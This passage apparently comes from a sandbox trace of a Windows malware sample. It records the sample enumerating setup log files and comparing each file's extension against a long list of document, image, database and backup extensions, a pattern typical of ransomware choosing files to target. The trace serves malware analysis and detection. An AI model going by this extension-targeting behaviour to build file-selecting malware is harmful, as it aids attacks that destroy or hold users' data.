lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".ascx") returned 5 [0050.078] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0050.078] lstrlenW (lpString=".asm") returned 4 [0050.078] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".asmx") returned 5 [0050.078] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0050.078] lstrlenW (lpString=".asp") returned 4 [0050.078] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".aspx") returned 5 [0050.078] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0050.078] lstrlenW (lpString=".asr") returned 4 [0050.078] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0050.078] lstrlenW (lpString=".asx") returned 4 [0050.078] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".avi") returned 4 [0050.079] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".avs") returned 4 [0050.079] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".backup") returned 7 [0050.079] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0050.079] lstrlenW (lpString=".bak") returned 4 [0050.079] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".bay") returned 4 [0050.079] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".bd") returned 3 [0050.079] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0050.079] lstrlenW (lpString=".bin") returned 4 [0050.079] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".bmp") returned 4 [0050.079] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".bz2") returned 4 [0050.079] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".c") returned 2 [0050.079] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0050.079] lstrlenW (lpString=".cdr") returned 4 [0050.079] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".cer") returned 4 [0050.079] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0050.079] lstrlenW (lpString=".cf") returned 3 [0050.079] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0050.080] lstrlenW (lpString=".cfc") returned 4 [0050.080] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".cfm") returned 4 [0050.080] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".cfml") returned 5 [0050.080] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0050.080] lstrlenW (lpString=".cfu") returned 4 [0050.080] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".chm") returned 4 [0050.080] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".cin") returned 4 [0050.080] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".class") returned 6 [0050.080] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0050.080] lstrlenW (lpString=".clx") returned 4 [0050.080] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".config") returned 7 [0050.080] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0050.080] lstrlenW (lpString=".cpp") returned 4 [0050.080] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".cr2") returned 4 [0050.080] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".crt") returned 4 [0050.080] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".crw") returned 4 [0050.080] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".cs") returned 3 [0050.080] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0050.080] lstrlenW (lpString=".css") returned 4 [0050.080] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0050.080] lstrlenW (lpString=".csv") returned 4 [0050.080] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".cub") returned 4 [0050.081] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dae") returned 4 [0050.081] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dat") returned 4 [0050.081] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".db") returned 3 [0050.081] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0050.081] lstrlenW (lpString=".dbf") returned 4 [0050.081] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dbx") returned 4 [0050.081] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dc3") returned 4 [0050.081] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dcm") returned 4 [0050.081] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dcr") returned 4 [0050.081] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".der") returned 4 [0050.081] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dib") returned 4 [0050.081] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dic") returned 4 [0050.081] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".dif") returned 4 [0050.081] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".divx") returned 5 [0050.081] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0050.081] lstrlenW (lpString=".djvu") returned 5 [0050.081] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0050.081] lstrlenW (lpString=".dng") returned 4 [0050.081] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0050.081] lstrlenW (lpString=".doc") returned 4 [0050.082] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".docm") returned 5 [0050.082] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0050.082] lstrlenW (lpString=".docx") returned 5 [0050.082] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0050.082] lstrlenW (lpString=".dot") returned 4 [0050.082] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dotm") returned 5 [0050.082] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0050.082] lstrlenW (lpString=".dotx") returned 5 [0050.082] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0050.082] lstrlenW (lpString=".dpx") returned 4 [0050.082] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dqy") returned 4 [0050.082] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dsn") returned 4 [0050.082] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dt") returned 3 [0050.082] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0050.082] lstrlenW (lpString=".dtd") returned 4 [0050.082] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dwg") returned 4 [0050.082] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dwt") returned 4 [0050.082] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".dx") returned 3 [0050.082] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0050.082] lstrlenW (lpString=".dxf") returned 4 [0050.082] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0050.082] lstrlenW (lpString=".edml") returned 5 [0050.082] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0050.082] lstrlenW (lpString=".efd") returned 4 [0050.082] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".elf") returned 4 [0050.083] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".emf") returned 4 [0050.083] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".emz") returned 4 [0050.083] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".epf") returned 4 [0050.083] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".eps") returned 4 [0050.083] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".epsf") returned 5 [0050.083] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0050.083] lstrlenW (lpString=".epsp") returned 5 [0050.083] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0050.083] lstrlenW (lpString=".erf") returned 4 [0050.083] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".exr") returned 4 [0050.083] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".f4v") returned 4 [0050.083] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".fido") returned 5 [0050.083] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0050.083] lstrlenW (lpString=".flm") returned 4 [0050.083] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".flv") returned 4 [0050.083] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".frm") returned 4 [0050.083] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".fxg") returned 4 [0050.083] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0050.083] lstrlenW (lpString=".geo") returned 4 [0050.083] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".gif") returned 4 [0050.084] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".grs") returned 4 [0050.084] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".gz") returned 3 [0050.084] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0050.084] lstrlenW (lpString=".h") returned 2 [0050.084] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0050.084] lstrlenW (lpString=".hdr") returned 4 [0050.084] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".hpp") returned 4 [0050.084] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".hta") returned 4 [0050.084] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".htc") returned 4 [0050.084] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".htm") returned 4 [0050.084] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".html") returned 5 [0050.084] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0050.084] lstrlenW (lpString=".icb") returned 4 [0050.084] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".ics") returned 4 [0050.084] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".iff") returned 4 [0050.084] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".inc") returned 4 [0050.084] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0050.084] lstrlenW (lpString=".indd") returned 5 [0050.084] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0050.084] lstrlenW (lpString=".ini") returned 4 [0050.084] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".iqy") returned 4 [0050.085] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".j2c") returned 4 [0050.085] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".j2k") returned 4 [0050.085] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".java") returned 5 [0050.085] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0050.085] lstrlenW (lpString=".jp2") returned 4 [0050.085] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".jpc") returned 4 [0050.085] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".jpe") returned 4 [0050.085] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".jpeg") returned 5 [0050.085] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0050.085] lstrlenW (lpString=".jpf") returned 4 [0050.085] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".jpg") returned 4 [0050.085] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".jpx") returned 4 [0050.085] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".js") returned 3 [0050.085] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0050.085] lstrlenW (lpString=".jsf") returned 4 [0050.085] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".json") returned 5 [0050.085] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0050.085] lstrlenW (lpString=".jsp") returned 4 [0050.085] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0050.085] lstrlenW (lpString=".kdc") returned 4 [0050.086] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".kmz") returned 4 [0050.086] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".kwm") returned 4 [0050.086] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".lasso") returned 6 [0050.086] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0050.086] lstrlenW (lpString=".lbi") returned 4 [0050.086] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".lgf") returned 4 [0050.086] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".lgp") returned 4 [0050.086] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".log") returned 4 [0050.086] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0050.086] FindNextFileW (in: hFindFile=0x6b97d8, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0050.086] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0050.086] lstrlenW (lpString=".1cd") returned 4 [0050.086] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".3ds") returned 4 [0050.086] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".3fr") returned 4 [0050.086] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".3g2") returned 4 [0050.086] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".3gp") returned 4 [0050.086] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0050.086] lstrlenW (lpString=".7z") returned 3 [0050.086] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0050.086] lstrlenW (lpString=".accda") returned 6 [0050.086] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".accdb") returned 6 [0050.087] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".accdc") returned 6 [0050.087] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".accde") returned 6 [0050.087] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".accdt") returned 6 [0050.087] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".accdw") returned 6 [0050.087] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0050.087] lstrlenW (lpString=".adb") returned 4 [0050.087] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".adp") returned 4 [0050.087] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai") returned 3 [0050.087] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0050.087] lstrlenW (lpString=".ai3") returned 4 [0050.087] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai4") returned 4 [0050.087] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai5") returned 4 [0050.087] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai6") returned 4 [0050.087] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai7") returned 4 [0050.087] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".ai8") returned 4 [0050.087] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0050.087] lstrlenW (lpString=".anim") returned 5 [0050.087] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0050.087] lstrlenW (lpString=".arw") returned 4 [0050.087] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".as") returned 3 [0050.088] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0050.088] lstrlenW (lpString=".asa") returned 4 [0050.088] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".asc") returned 4 [0050.088] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".ascx") returned 5 [0050.088] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0050.088] lstrlenW (lpString=".asm") returned 4 [0050.088] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".asmx") returned 5 [0050.088] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0050.088] lstrlenW (lpString=".asp") returned 4 [0050.088] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".aspx") returned 5 [0050.088] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0050.088] lstrlenW (lpString=".asr") returned 4 [0050.088] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".asx") returned 4 [0050.088] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".avi") returned 4 [0050.088] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".avs") returned 4 [0050.088] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".backup") returned 7 [0050.088] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0050.088] lstrlenW (lpString=".bak") returned 4 [0050.088] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0050.088] lstrlenW (lpString=".bay") returned 4 [0050.089] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".bd") returned 3 [0050.089] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0050.089] lstrlenW (lpString=".bin") returned 4 [0050.089] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".bmp") returned 4 [0050.089] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".bz2") returned 4 [0050.089] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".c") returned 2 [0050.089] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0050.089] lstrlenW (lpString=".cdr") returned 4 [0050.089] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".cer") returned 4 [0050.089] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".cf") returned 3 [0050.089] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0050.089] lstrlenW (lpString=".cfc") returned 4 [0050.089] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".cfm") returned 4 [0050.089] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".cfml") returned 5 [0050.089] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0050.089] lstrlenW (lpString=".cfu") returned 4 [0050.089] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".chm") returned 4 [0050.089] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".cin") returned 4 [0050.089] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0050.089] lstrlenW (lpString=".class") returned 6 [0050.089] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0050.089] lstrlenW (lpString=".clx") returned 4 [0050.090] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".config") returned 7 [0050.090] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0050.090] lstrlenW (lpString=".cpp") returned 4 [0050.090] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".cr2") returned 4 [0050.090] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".crt") returned 4 [0050.090] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".crw") returned 4 [0050.090] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".cs") returned 3 [0050.090] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0050.090] lstrlenW (lpString=".css") returned 4 [0050.090] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".csv") returned 4 [0050.090] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".cub") returned 4 [0050.090] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".dae") returned 4 [0050.090] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".dat") returned 4 [0050.090] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".db") returned 3 [0050.090] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0050.090] lstrlenW (lpString=".dbf") returned 4 [0050.090] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".dbx") returned 4 [0050.090] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0050.090] lstrlenW (lpString=".dc3") returned 4 [0050.090] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dcm") returned 4 [0050.091] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dcr") returned 4 [0050.091] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".der") returned 4 [0050.091] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dib") returned 4 [0050.091] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dic") returned 4 [0050.091] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dif") returned 4 [0050.091] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".divx") returned 5 [0050.091] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".djvu") returned 5 [0050.091] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".dng") returned 4 [0050.091] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".doc") returned 4 [0050.091] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".docm") returned 5 [0050.091] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".docx") returned 5 [0050.091] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".dot") returned 4 [0050.091] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0050.091] lstrlenW (lpString=".dotm") returned 5 [0050.091] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".dotx") returned 5 [0050.091] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0050.091] lstrlenW (lpString=".dpx") returned 4 [0050.092] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0050.092] lstrlenW (lpString=".dqy") returned 4 [0050.092] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0050.092] lstrlenW (lpString=".dsn") returned 4 [0050.092] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0050.092] lstrlenW (lpString=".dt") returned 3 [0050.092] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0050.092] lstrlenW (lpString=".dtd") returned 4 [0050.092] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0050.092] lstrlenW (lpString=".dwg") returned 4 [0050.092] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0050.092] FindNextFileW (in: hFindFile=0x6b97d8, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0050.092] FindNextFileW (in: hFindFile=0x6b97d8, lpFindFileData=0x328f800 | out: lpFindFileData=0x328f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0050.092] FindClose (in: hFindFile=0x6b97d8 | out: hFindFile=0x6b97d8) returned 1 [0050.093] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c71240 | out: hHeap=0x6a0000) returned 1 [0050.093] FindNextFileW (in: hFindFile=0x6b9758, lpFindFileData=0x328fa7c | out: lpFindFileData=0x328fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, 